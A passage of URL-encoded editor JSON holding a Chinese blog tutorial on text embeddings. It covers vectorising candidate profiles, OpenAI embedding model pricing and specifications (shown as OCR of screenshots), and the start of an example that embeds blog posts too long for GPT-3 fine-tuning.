5%90%8D%E6%A0%A1%E5%AD%A6%E5%8E%86%EF%BC%8C%E5%B8%A6%E8%BF%87%E5%9B%A2%E9%98%9F%EF%BC%8C%E6%80%A7%E6%A0%BC%E7%89%B9%E7%82%B9%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf825399f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%9C%A85%E4%B8%AA%E7%BB%B4%E5%BA%A6%E7%9A%84%E5%9F%BA%E7%A1%80%E4%B8%8A%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%80%99%E9%80%89%E4%BA%BA%E7%9A%84%E8%83%BD%E5%8A%9B%E6%8A%BD%E8%B1%A1%E4%B8%BA%E6%95%B0%E5%AD%97%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2ab42004%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue97680e3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%AF%94%E5%A6%82%E8%AF%B4%5B1%2C1%2C0%2C0%2C1%5D%EF%BC%8C%E5%BD%93%E7%84%B6%E7%94%A80%E5%92%8C1%E6%98%AF%E7%B2%BE%E5%BA%A6%E6%AF%94%E8%BE%83%E4%BD%8E%E7%9A%84%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0e11491a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A80.%E5%87%A0%E6%9D%A5%E6%9B%BF%E4%BB%A3%E6%AF%8F%E4%B8%AA%E5%90%91%E9%87%8F%E4%B8%AD%E5%AF%B9%E9%A2%84%E6%9C%9F%E7%9A%84%E7%AC%A6%E5%90%88%E5%BA%A6%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue461978a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E8%BF%99%E4%B8%AA5%E7%BB%B4%E7%9A%84%E5%90%91%E9%87%8F%E6%A0%87%E5%87%86%E4%B8%8B%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%A4%9A%E4%B8%AA%E5%80%99%E9%80%89%E4%BA%BA%E7%9A%84%E7%AE%80%E5%8E%86%E6%8A%BD%E8%B1%A1%E4%B8%BA%E5%A4%9A%E4%B8%AA5%E7%BB%B4%E5%90%91%E9%87%8F%E7%BB%84%EF%BC%8C%E5%B9%B6%E4%B8%94%E9%80%9A%E8%BF%87%E5%AF%B9%E5%A4%9A%E4%B8%AA5%E7%BB%B4%E5%90%91%E9%87%8F%E7%BB%84%E5%81%9A%E4%B8%80%E5%AE%9A%E7%9A%84%E6%95%B0%E5%AD%A6%E8%AE%A1%E7%AE%97%EF%BC%8C%E8%BF%99%E6%A0%B7%E5%B0%B1%E5%8F%AF%E4%BB%A5%E5%BE%97%E5%87%BA%E6%9C%80%E5%90%88%E9%80%82%E7%9A%84%E5%80%99%E9%80%89%E4%BA%BA%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u39a871ed%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud5b85040%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%EF%BC%8C%E8%BF%99%E5%8F%AA%E6%98%AF%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E4%BE%8B%E5%AD%90%E3%80%82%E5%9C%A8%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E9%A2%86%E5%9F%9F%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u82136faa%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%E7%9A%84%E8%AE%A1%E7%AE%97%E8%BF%98%E6%B6%89%E5%8F%8A%E5%88%B0%E6%A0%B8%E5%87%BD%E6%95%B0%E7%9A%84%E4%BC%98%E5%8C%96%E8%BF%87%E7%A8%8B%E3%80%82%E5%AF%B9%E4%BA%8E%E4%BD%BF%E7%94%A8%E8%80%85%E6%9D%A5%E8%AF%B4%EF%BC%8C%E6%88%91%E4%BB%AC%E4%B8%8D%E9%9C%80%E8%A6%81%E5%88%A8%E5%BC%80%E9%BB%91%E7%9B%92%E8%AE%A8%E8%AE%BA%E8%BF%99%E4%BA%9B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u41449a1b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u044acc17%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8ChatGPT%E4%B8%AD%EF%BC%8Copenai%E6%8F%90%E4%BE%9B%E4%BA%86%E5%AE%98%E6%96%B9%E7%9A%84%E8%AE%A1%E7%AE%97%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0f38d546%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1595e5b4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%9A%84API%EF%BC%8C%E5%BD%93%E7%84%B6%E8%BF%99%E6%98%AF%E6%94%B6%E8%B4%B9%E7%9A%84%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc048e1a8%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ub8904614%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684748666178-983f7094-43dc-4756-b179-82699f3f36a8.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1656%2C%22height%22%3A519%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A31106%2C%22width%22%3A1505.4545128246978%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22uc6c3f289-1189-4451-a082-9553ceb0e4a%22%2C%22clientId%22%3A%22u4653b264-31c6-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A841%2C%22y%22%3A18%2C%22width%22%3A720%2C%22height%22%3A21%2C%22text%22%3A%22BUILD%20ADVANCED%20SEARCH%2CCLUSTERING%2CTOPIC%20MODELING%2CAND%20CLASSIFICATION%20FUNCTIONALITY%20WITH%20OUR%22%7D%2C%7B%22x%22%3A4%2C%22y%22%3A18%2C%22width%22%3A245%2C%22height%22%3A28%2C%22text%22%3A%22EMBEDDINGMODELS%22%7D%2C%7B%22x%22%3A841%2C%22y%22%3A47%2C%22width%22%3A172%2C%22height%22%3A18%2C%22text%22%3A%22EMBEDDINGS%20OFFERING.%22%7D%2C%7B%22x%22%3A845%2C%22y%22%3A93%2C%22width%22%3A262%2C%22height%22%3A17%2C%22text%22%3A%22LEARN%20MORE%20ABOUT%20EMBEDDINGS%20%E5%85%A5%22%7D%2C%7B%22x%22%3A1121%2C%22y%22%3A184%2C%22width%22%3A52%2C%22height%22%3A19%2C%22text%22%3A%22USAGE%22%7D%2C%7B%22x%22%3A842%2C%22y%22%3A185%2C%22width%22%3A52%2C%22height%22%3A17%2C%22text%22%3A%22MODEL%22%7D%2C%7B%22x%22%3A1121%2C%22y%22%3A225%2C%22width%22%3A165%2C%22height%22%3A21%2C%22text%22%3A%22%24O.0004%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A843%2C%22y%22%3A228%2C%22width%22%3A57%2C%22height%22%3A16%2C%22text%22%3A%22ADAV2%22%7D%2C%7B%22x%22%3A1121%2C%22y%22%3A268%2C%22width%22%3A164%2C%22height%22%3A19%2C%22text%22%3A%22%240.0040%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A843%2C%22y%22%3A269%2C%22width%22%3A55%2C%22height%22%3A17%2C%22text%22%3A%22ADAV1%22%7D%2C%7B%22x%22%3A1121%2C%22y%22%3A310%2C%22width%22%3A164%2C%22height%22%3A20%2C%22text%22%3A%22%24O.0050%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A843%2C%22y%22%3A312%2C%22width%22%3A95%2C%22height%22%3A17%2C%22text%22%3A%22BABBAGE%20V1%22%7D%2C%7B%22x%22%3A1120%2C%22y%22%3A351%2C%22width%22%3A163%2C%22height%22%3A19%2C%22text%22%3A%22%24O.0200%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A843%2C%22y%22%3A354%2C%22width%22%3A64%2C%22height%22%3A17%2C%22text%22%3A%22CURIE%20V1%22%7D%2C%7B%22x%22%3A1120%2C%22y%22%3A393%2C%22width%22%3A166%2C%22height%22%3A21%2C%22text%22%3A%22%24O.2000%2F1K%20TOKENS%22%7D%2C%7B%22x%22%3A842%2C%22y%22%3A394%2C%22width%22%3A80%2C%22height%22%3A18%2C%22text%22%3A%22DAVINCI%20V1%22%7D%5D%2C%22search%22%3A%22BUILD%20ADVANCED%20SEARCH%2CCLUSTERING%2CTOPIC%20MODELING%2CAND%20CLASSIFICATION%20FUNCTIONALITY%20WITH%20OUR%20EMBEDDINGMODELS%20EMBEDDINGS%20OFFERING.%20LEARN%20MORE%20ABOUT%20EMBEDDINGS%20%E5%85%A5%20USAGE%20MODEL%20%24O.0004%2F1K%20TOKENS%20ADAV2%20%240.0040%2F1K%20TOKENS%20ADAV1%20%24O.0050%2F1K%20TOKENS%20BABBAGE%20V1%20%24O.0200%2F1K%20TOKENS%20CURIE%20V1%20%24O.2000%2F1K%20TOKENS%20DAVINCI%20V1%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fcfbfb%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0c0cdbb5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua178e2a6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87openai%E7%9A%84api%EF%BC%8C%E6%88%91%E4%BB%AC%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%8A%8A%E4%BF%A1%E6%81%AF%E8%BD%AC%E5%8C%96%E4%B8%BA%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf07b97fa%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ucf80deff%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%90%91%E9%87%8F%E3%80%82%E5%9C%A8Openai%E7%9A%84%E6%96%87%E6%A1%A3%E4%B8%AD%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0%E6%AF%8F%E4%B8%AA%E6%A8%A1%E5%9E%8B%E7%9A%84%E6%A0%B8%E6%96%B9%E6%A1%88%E5%AF%B9%E5%BA%94%E7%9A%84%E8%A6%81%E6%B1%82%E4%BB%A5%E5%8F%8A%E4%BB%B7%E6%A0%BC%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3e2f0843%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uc1c7f8b2%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684750574753-0343295b-fe13-4371-9ae1-75676830d28b.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A861%2C%22height%22%3A551%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A72072%2C%22width%22%3A782.7272557621163%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22uc7dd412c-540b-47ea-a3fc-9b1f11f741a%22%2C%22clientId%22%3A%22u4653b264-31c6-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A283%2C%22y%22%3A3%2C%22width%22%3A138%2C%22height%22%3A13%2C%22text%22%3A%22MAX%20INPUT%20TOKENS%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A3%2C%22width%22%3A144%2C%22height%22%3A13%2C%22text%22%3A%22MODEL%20GENERATION%22%7D%2C%7B%22x%22%3A171%2C%22y%22%3A3%2C%22width%22%3A81%2C%22height%22%3A13%2C%22text%22%3A%22TOKENIZER%22%7D%2C%7B%22x%22%3A434%2C%22y%22%3A3%2C%22width%22%3A147%2C%22height%22%3A14%2C%22text%22%3A%22KNOWLEDGE%20CUTOFF%22%7D%2C%7B%22x%22%3A437%2C%22y%22%3A34%2C%22width%22%3A68%2C%22height%22%3A16%2C%22text%22%3A%22SEP%202021%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A35%2C%22width%22%3A22%2C%22height%22%3A14%2C%22text%22%3A%22V2%22%7D%2C%7B%22x%22%3A172%2C%22y%22%3A35%2C%22width%22%3A93%2C%22height%22%3A15%2C%22text%22%3A%22CL100K_BASE%22%7D%2C%7B%22x%22%3A285%2C%22y%22%3A35%2C%22width%22%3A31%2C%22height%22%3A14%2C%22text%22%3A%228191%22%7D%2C%7B%22x%22%3A437%2C%22y%22%3A74%2C%22width%22%3A73%2C%22height%22%3A18%2C%22text%22%3A%22AUG%20%202020%22%7D%2C%7B%22x%22%3A173%2C%22y%22%3A75%2C%22width%22%3A97%2C%22height%22%3A15%2C%22text%22%3A%22GPT-2%2FGPT-3%22%7D%2C%7B%22x%22%3A284%2C%22y%22%3A76%2C%22width%22%3A39%2C%22height%22%3A14%2C%22text%22%3A%222046%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A76%2C%22width%22%3A19%2C%22height%22%3A14%2C%22text%22%3A%22V1%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A122%2C%22width%22%3A735%2C%22height%22%3A16%2C%22text%22%3A%22USAGE%20IS%20PRICEDPER%20INPUT%20TOKEN%2CATARATE%20OF%20S0.0004%20PER%201000%20TOKENS%2COR%20ABOUT~3%2C000%20PAGES%20PER%20US%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A147%2C%22width%22%3A300%2C%22height%22%3A15%2C%22text%22%3A%22DOLLAR(ASSUMING%20~800%20TOKENS%20PER%20PAGE)%3A%22%7D%2C%7B%22x%22%3A423%2C%22y%22%3A185%2C%22width%22%3A334%2C%22height%22%3A16%2C%22text%22%3A%22EXAMPLE%20PERFORMANCE%20ON%20BEIR%20SEARCH%20EVAL%22%7D%2C%7B%22x%22%3A219%2C%22y%22%3A186%2C%22width%22%3A190%2C%22height%22%3A15%2C%22text%22%3A%22ROUGH%20PAGES%20PER%20DOLLAR%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A187%2C%22width%22%3A48%2C%22height%22%3A13%2C%22text%22%3A%22MODEL%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A217%2C%22width%22%3A194%2C%22height%22%3A18%2C%22text%22%3A%22TEXT-EMBEDDING-ADA-002%22%7D%2C%7B%22x%22%3A423%2C%22y%22%3A218%2C%22width%22%3A32%2C%22height%22%3A14%2C%22text%22%3A%2253.9%22%7D%2C%7B%22x%22%3A220%2C%22y%22%3A219%2C%22width%22%3A41%2C%22height%22%3A14%2C%22text%22%3A%223000%22%7D%2C%7B%22x%22%3A219%2C%22y%22%3A259%2C%22width%22%3A12%2C%22height%22%3A16%2C%22text%22%3A%226%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A259%2C%22width%22%3A33%2C%22height%22%3A14%2C%22text%22%3A%2252.8%22%7D%2C%7B%22x%22%3A23%2C%22y%22%3A259%2C%22width%22%3A104%2C%22height%22%3A15%2C%22text%22%3A%22-DAVINCI-*-001%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A300%2C%22width%22%3A33%2C%22height%22%3A14%2C%22text%22%3A%2250.9%22%7D%2C%7B%22x%22%3A220%2C%22y%22%3A300%2C%22width%22%3A21%2C%22height%22%3A14%2C%22text%22%3A%2260%22%7D%2C%7B%22x%22%3A20%2C%22y%22%3A301%2C%22width%22%3A91%2C%22height%22%3A14%2C%22text%22%3A%22*-CURIE-*-001%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A340%2C%22width%22%3A123%2C%22height%22%3A17%2C%22text%22%3A%22*-BABBAGE-*-001%22%7D%2C%7B%22x%22%3A424%2C%22y%22%3A342%2C%22width%22%3A34%2C%22height%22%3A14%2C%22text%22%3A%2250.4%22%7D%2C%7B%22x%22%3A220%2C%22y%22%3A342%2C%22width%22%3A30%2C%22height%22%3A14%2C%22text%22%3A%22240%22%7D%2C%7B%22x%22%3A220%2C%22y%22%3A382%2C%22width%22%3A32%2C%22height%22%3A15%2C%22text%22%3A%22300%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A382%2C%22width%22%3A86%2C%22height%22%3A14%2C%22text%22%3A%22*-ADA-*-001%22%7D%2C%7B%22x%22%3A425%2C%22y%22%3A383%2C%22width%22%3A30%2C%22height%22%3A13%2C%22text%22%3A%2249.0%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A445%2C%22width%22%3A258%2C%22height%22%3A20%2C%22text%22%3A%22SECOND-GENERATION%20MODELS%22%7D%2C%7B%22x%22%3A219%2C%22y%22%3A489%2C%22width%22%3A83%2C%22height%22%3A15%2C%22text%22%3A%22TOKENIZER%22%7D%2C%7B%22x%22%3A327%2C%22y%22%3A489%2C%22width%22%3A304%2C%22height%22%3A13%2C%22text%22%3A%22MAX%20INPUT%20TOKENS%20OUTPUT%20DIMENSIONS%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A490%2C%22width%22%3A90%2C%22height%22%3A11%2C%22text%22%3A%22MODELNAME%22%7D%2C%7B%22x%22%3A480%2C%22y%22%3A520%2C%22width%22%3A36%2C%22height%22%3A16%2C%22text%22%3A%221536%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A520%2C%22width%22%3A193%2C%22height%22%3A16%2C%22text%22%3A%22TEXT-EMBEDDING-ADA-002%22%7D%2C%7B%22x%22%3A328%2C%22y%22%3A521%2C%22width%22%3A31%2C%22height%22%3A14%2C%22text%22%3A%228191%22%7D%2C%7B%22x%22%3A219%2C%22y%22%3A521%2C%22width%22%3A94%2C%22height%22%3A14%2C%22text%22%3A%22CL100K%20BASE%22%7D%5D%2C%22search%22%3A%22MAX%20INPUT%20TOKENS%20MODEL%20GENERATION%20TOKENIZER%20KNOWLEDGE%20CUTOFF%20SEP%202021%20V2%20CL100K_BASE%208191%20AUG%20%202020%20GPT-2%2FGPT-3%202046%20V1%20USAGE%20IS%20PRICEDPER%20INPUT%20TOKEN%2CATARATE%20OF%20S0.0004%20PER%201000%20TOKENS%2COR%20ABOUT~3%2C000%20PAGES%20PER%20US%20DOLLAR(ASSUMING%20~800%20TOKENS%20PER%20PAGE)%3A%20EXAMPLE%20PERFORMANCE%20ON%20BEIR%20SEARCH%20EVAL%20ROUGH%20PAGES%20PER%20DOLLAR%20MODEL%20TEXT-EMBEDDING-ADA-002%2053.9%203000%206%2052.8%20-DAVINCI-*-001%2050.9%2060%20*-CURIE-*-001%20*-BABBAGE-*-001%2050.4%20240%20300%20*-ADA-*-001%2049.0%20SECOND-GENERATION%20MODELS%20TOKENIZER%20MAX%20INPUT%20TOKENS%20OUTPUT%20DIMENSIONS%20MODELNAME%201536%20TEXT-EMBEDDING-ADA-002%208191%20CL100K%20BASE%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fefefe%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u81c50448%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4ddace6d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E4%B8%AD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u230c02a1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%20text-embedding-ada-002%E8%BF%99%E4%B8%AA%E6%A8%A1%E5%9E%8B%E6%95%B4%E4%BD%93%E8%A1%A8%E7%8E%B0%E6%9C%80%E5%A5%BD%E8%80%8C%E4%B8%94%E8%BF%98%E4%BE%BF%E5%AE%9C%EF%BC%8C%E6%9B%B4%E9%80%82%E7%94%A8%E4%BA%8E%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud692ca24%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4d09ade8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22sxtnU%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue06e8854%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(53%2C%2055%2C%2064)%22%7D%2C%22data%22%3A%22%E4%B8%BE%E4%B8%AA%E6%A0%97%E5%AD%90%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u51669824%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u2106936c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C%E6%88%91%E4%BB%AC%E8%BF%98%E6%98%AF%E6%8B%BF%E4%B8%8A%E7%AF%87%E6%96%87%E7%AB%A0%E7%9A%84%E4%BE%8B%E5%AD%90%E6%9D%A5%E8%81%8A%EF%BC%8C%E6%8B%BF%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2%E5%86%85%E5%AE%B9%E6%9D%A5%E8%BF%9B%E4%B8%80%E6%AD%A5%E5%A4%84%E7%90%86%E3%80%82%E5%9C%A8%E4%B8%8A%E7%AF%87%E6%96%87%E7%AB%A0%E4%B8%AD%E6%88%91%E4%BB%AC%E5%87%86%E5%A4%87%E6%95%B0%E6%8D%AE%E9%9B%86%E7%9A%84%E6%97%B6%E5%80%99%E5%B0%B1%E9%81%87%E5%88%B0%E4%BA%86%E5%87%A0%E4%B8%AA%E9%97%AE%E9%A2%98%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u818fa2b8%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u28d90b03%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%221%E3%80%81%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u56bd11c8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%8D%9A%E5%AE%A2%E5%86%85%E5%AE%B9%E6%99%AE%E9%81%8D%E8%B6%85%E8%BF%872000token%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc4bf889e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E5%B9%B6%E4%B8%94%E6%9B%B4%E6%99%AE%E9%81%8D%E7%9A%84%E6%98%AF%EF%BC%8C%E6%96%87%E7%AB%A0%E5%86%85%E5%AE%B9%E4%B8%AD%E6%9C%89%E5%A4%A7%E9%87%8F%E7%9A%84%E4%BB%A3%E7%A0%81%EF%BC%8C%E7%94%9A%E8%87%B3%E5%9B%BE%E7%89%87%E5%86%85%E5%AE%B9%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0432d603%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7616bf4e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%222%E3%80%81%E5%8F%AF%E8%83%BD%E6%98%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0c25a693%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%94%B1%E4%BA%8E%E5%8D%9A%E5%AE%A2%E5%86%85%E5%AE%B9%E5%88%86%E5%89%B2%E4%B8%A5%E9%87%8D%EF%BC%8C%E4%B9%9F%E5%8F%AF%E8%83%BD%E6%98%AF%E7%94%B1%E4%BA%8EGPT3%E6%9C%AC%E8%BA%AB%E7%9A%84%E5%AD%A6%E4%B9%A0%E8%83%BD%E5%8A%9B%E6%9C%89%E9%99%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u706d2abc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E5%AD%A6%E4%B9%A0%E7%9A%84%E7%BB%93%E6%9E%9C%E5%BE%88%E5%B7%AE%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua79bfdba%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u96c2b8f1%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E7%A7%8D%E6%83%85%E5%86%B5%E4%B8%8B%EF%BC%8C%E6%88%91%E4%BB%AC%E5%B0%B1%E5%8F%AF%E4%BB%A5%E5%B0%9D%E8%AF%95%E7%94%A8Embeddings%E6%8A%8A%E5%86%85%E5%AE%B9%E5%90%91%E9%87%8F%E5%8C%96%EF%BC%8C%E5%86%8D%E5%81%9A%E8%BF%9B%E4%B8%80%E6%AD%A5%E7%9A%84%E5%A4%84%E7%90%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u75bc3b02%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u52bca7da%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E6%88%91%E4%BB%AC%E9%80%9A%E8%BF%87%E6%8A%8A%E6%96%87%E7%AB%A0%E6%9C%AC%E8%BA%AB%E5%90%91%E9%87%8F%E5%8C%96%EF%BC%8C%E7%84%B6%E5%90%8E%E5%86%8D%E6%8A%8A%E9%97%AE%E9%A2%98%E5%90%91%E9%87%8F%E5%8C%96%EF%BC%8C%E5%9C%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u682ff990%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3At